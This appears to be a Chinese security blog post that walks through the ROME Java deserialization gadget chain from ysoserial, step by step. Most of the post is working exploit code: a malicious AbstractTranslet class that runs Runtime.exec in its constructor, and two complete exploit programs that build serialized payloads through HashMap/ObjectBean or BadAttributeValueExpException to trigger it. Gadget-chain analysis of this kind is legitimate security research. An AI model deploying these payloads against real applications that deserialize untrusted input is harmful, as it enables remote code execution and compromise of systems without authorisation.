当前位置:网站首页>Rome链分析
Rome链分析
2022-07-05 03:57:00 【Sk1y】
Rome链分析
文章目录
ysoserial中的调用链
最上面的是链子的末尾,最下面的是链子的开头
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
还是逆序分析
TemplatesImpl内部的调用
TemplatesImpl可以加载恶意字节码,基本的调用链为,看newTransformer(),已知的调用链如下
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
注意getOutputProperties()方法中调用了newTransformer()方法

所以在这里的调用就是
TemplatesImpl-->getOutputProperties()
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
写一个calc1.java
//calc1.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class calc1 extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
System.out.println(1);
}
public calc1() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}
编译生成class文件,然后动态加载
public static void main(String[] args) throws Exception {
//恶意字节码
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
}
运行结果
接下来是看怎么去调用TemplatesImpl.getOutputProperties()
ToStringBean.toString()–>TemplatesImpl.getOutputProperties()
ToStringBean的构造器是public的,可以传入一个类和对象

我们看ToStringBean类的toString方法

跟进getPropertyDescriptors方法,会获取_beanClass中所有的getter和setter方法,而_beanClass是我们可控的

getPDs方法在BeanIntrospector类中重载

getOutputProperties符合get开头的这个格式,所以我们可以用这个ToStringBean.toString()去触发TemplatesImpl.getOutputProperties()
将原来的触发点注释掉,然后在上面代码的结尾添加
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
toStringBean.toString();
调试一下
发现会先调用无参的toString(),然后去调用有参的toString(prefix)

然后到getPDs,会获取getter方法

然后会看到,总共5个方法, 循环调用,getOutputProperties位于第三个

然后invoke进行调用

运行结果
接下来,就是触发ToStringBean.toString()
EqualsBean.hashCode–>ToStringBean.toString()
EqualsBean类中hashCode()–>beanHashCode()–>toString()

其中成员变量_obj可控

将原来的触发点注释,添加
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
equalsBean.hashCode();
运行结果

ObjectBean.hashCode–>toString
ObjectBean类中既可以触发hashCode,也可以触发toString()

再看这个构造器

我们可以发现,这一部分的调用链有很多种可能性,这里截取一下大佬的博客

HashMap–>hashCode
HashMap类就是用来调用hashcode()方法的
HashMap的readObject方法中调用了hash()方法

跟进hash(),发现调用了key.hashCode()

我们知道,HashMap的put()方法将指定的键值对插入到HashMap中
实例
package test;
import java.util.HashMap;
public class hashmap_test {
public static void main(String[] args) {
HashMap<Integer, String> map = new HashMap<>();
map.put(1,"sss");
System.out.println(map);
}
}
运行结果

但是这里其实put的时候,也会造成弹计算器,因为put中调用hash(),直接就执行了

这个可以利用反射进行修改,先放进去无害的,然后将恶意类替换_equalsBean
这个东西执行不了,原因不明,我在debug的时候,跟到

当i=2时,会调用getOutputProperties,也就是能执行calc了

但是当i=1的时候,在执行
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
会出现这个情况

跳到

然后就没然后了,直接退出了,不执行i=2的情况
遇到的问题解决方案
将下列代码中TemplatesImpl.class换为Templates.class
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);

exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//恶意字节码
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//
ObjectBean objectBean = new ObjectBean(String.class, "1"); //这里写一个正常的类
HashMap<Object, Integer> hashMap = new HashMap<>();
hashMap.put(objectBean,1);
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,toStringBean)); //反射将恶意类写进去
ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);
oout.writeObject(hashMap);
byte[] sss = baout.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
ois.readObject();
}
}
BadAttributeValueExpException
根据上面的分析,在ObjectBean类中,可以直接调用toString来进行调用ToStringBean.toString()

而触发toString可以通过BadAttributeValueExpException进行触发

exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//恶意字节码
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ObjectBean objectBean = new ObjectBean(String.class, "1");
setFieldValue(objectBean,"_toStringBean",toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",objectBean);
unserialize(serialize(badAttributeValueExpException));
}
}
运行结果
调用过程
简化一点
但是分析一下代码2的调用,为什么不直接从BadAttributeValueExpException直接调用到ToStringBean,而跳过ObjectBean
主要的代码如下
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",toStringBean);
unserialize(serialize(badAttributeValueExpException));
运行结果

参考链接
边栏推荐
- An elegant program for Euclid‘s algorithm
- Containerd series - what is containerd?
- UE4 DMX和grandMA2 onPC 3.1.2.5的操作流程
- 我就一写代码的,王总整天和我谈格局...
- glibc strlen 实现方式分析
- 3. Package the bottom navigation tabbar
- Clickhouse synchronization MySQL (based on materialization engine)
- English essential vocabulary 3400
- provide/inject
- grandMA2 onPC 3.1.2.5的DMX参数摸索
猜你喜欢

Is there a sudden failure on the line? How to make emergency diagnosis, troubleshooting and recovery

我就一写代码的,王总整天和我谈格局...

What is test development? Why do so many companies hire test developers now?

Basic knowledge of tuples
![[software reverse - basic knowledge] analysis method, assembly instruction architecture](/img/97/8001db1c572495a115d32d9dd7360e.png)
[software reverse - basic knowledge] analysis method, assembly instruction architecture

【刷题】BFS题目精选

【无标题】

Learning notes of raspberry pie 4B - IO communication (I2C)

【web源码-代码审计方法】审计技巧及审计工具

特殊版:SpreadJS v15.1 VS SpreadJS v15.0
随机推荐
Clickhouse synchronization MySQL (based on materialization engine)
Anti debugging (basic principles of debugger Design & NT NP and other anti debugging principles)
输入的查询SQL语句,是如何执行的?
Use Firefox browser to quickly pick up Web image materials
面试字节,过关斩将直接干到 3 面,结果找了个架构师来吊打我?
Deflocculant aminoiodotide eye drops
NEW:Devart dotConnect ADO. NET
The new project Galaxy token just announced by coinlist is gal
error Couldn‘t find a package. JSON file in "your path“
[charging station]_ Secular wisdom_ Philosophical wisdom _
PlasticSCM 企业版Crack
已解决(sqlalchemy+pandas.read_sql)AttributeError: ‘Engine‘ object has no attribute ‘execution_options‘
Containerd series - what is containerd?
Rust区块琏开发——签名加密与私钥公钥
Deep learning - LSTM Foundation
IronXL for .NET 2022.6
线程基础知识
Installation of postman and postman interceptor
NPM introduction link symbolic link
在线文本行固定长度填充工具